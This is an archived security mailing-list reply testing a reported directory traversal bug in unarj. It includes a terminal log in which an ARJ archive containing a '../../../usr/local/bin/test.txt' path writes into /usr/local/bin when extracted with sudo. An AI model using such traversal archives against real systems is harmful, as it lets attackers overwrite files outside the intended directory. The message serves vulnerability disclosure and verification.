lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <1f29b894041011125056e51b82@mail.gmail.com>
From: umphress at gmail.com (Chris Umphress)
Subject: unarj dir-transversal bug (../../../..)

> 
> http://www.google.com/search?q=%22directory+traversal%22&meta=
> 
> doubles

I know what a directory traversal is. I did a little test run of this
"bug." For sanitary reasons, I did not install arj when I compiled it.
It was merely moved to ~/test. Here is what I've done to test what you
are saying:

---------------<snip>----------------
<window #1>
  root@...is:/usr/local/bin# touch test.txt
  root@...is:/usr/local/bin# chown root.root test.txt
<window #2>
  chris@...is:~/test$ arj a test.arj ../../../usr/local/bin/test.txt
  ARJ32 v 3.10, Copyright (c) 1998-2004, ARJ Software Russia. [11 Oct 2004]
  
  Creating archive  : test.arj
  Adding    ../../../usr/local/bin/test.txt  100.0%
       1 file(s)
<window #1>
  root@...is:/usr/local/bin# rm -rf test.txt
<window #2>
  chris@...is:~/test$ unarj x test.arj
  UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
  
  Processing archive: test.arj
  Archive date      : 2012-11-10 27:44:04
  Can't open ../../usr/local/bin/test.txt
      0 file(s)

  Found     1 error(s)!
  chris@...is:~/test$ cd ..
  chris@...is:~$ unarj x test/test.arj
  UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
  
  Processing archive: test/test.arj
  Archive date      : 2012-11-10 27:44:04
  Can't open ../../usr/local/bin/test.txt
      0 file(s)

  Found     1 error(s)!
  chris@...is:~$ sudo unarj x test/test.arj
  UNARJ (Demo version) 2.30 Copyright (c) 1991 Robert K Jung
  
  Processing archive: test/test.arj
  Archive date      : 2012-11-10 27:44:04
  Extracting ../../usr/local/bin/test.txt  CRC OK
      1 file(s)
<window #1>
  root@...is:/usr/local/bin# ls -l test.txt
  -rw-r--r--  1 root root 13 2012-11-11 02:42 test.txt
--------------------------------------------

Apart from it removing one "../" from the filename I gave it, it
worked exactly as I expected.

-- Chris

-- 
Chris Umphres <http://daga.dyndns.org/>


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ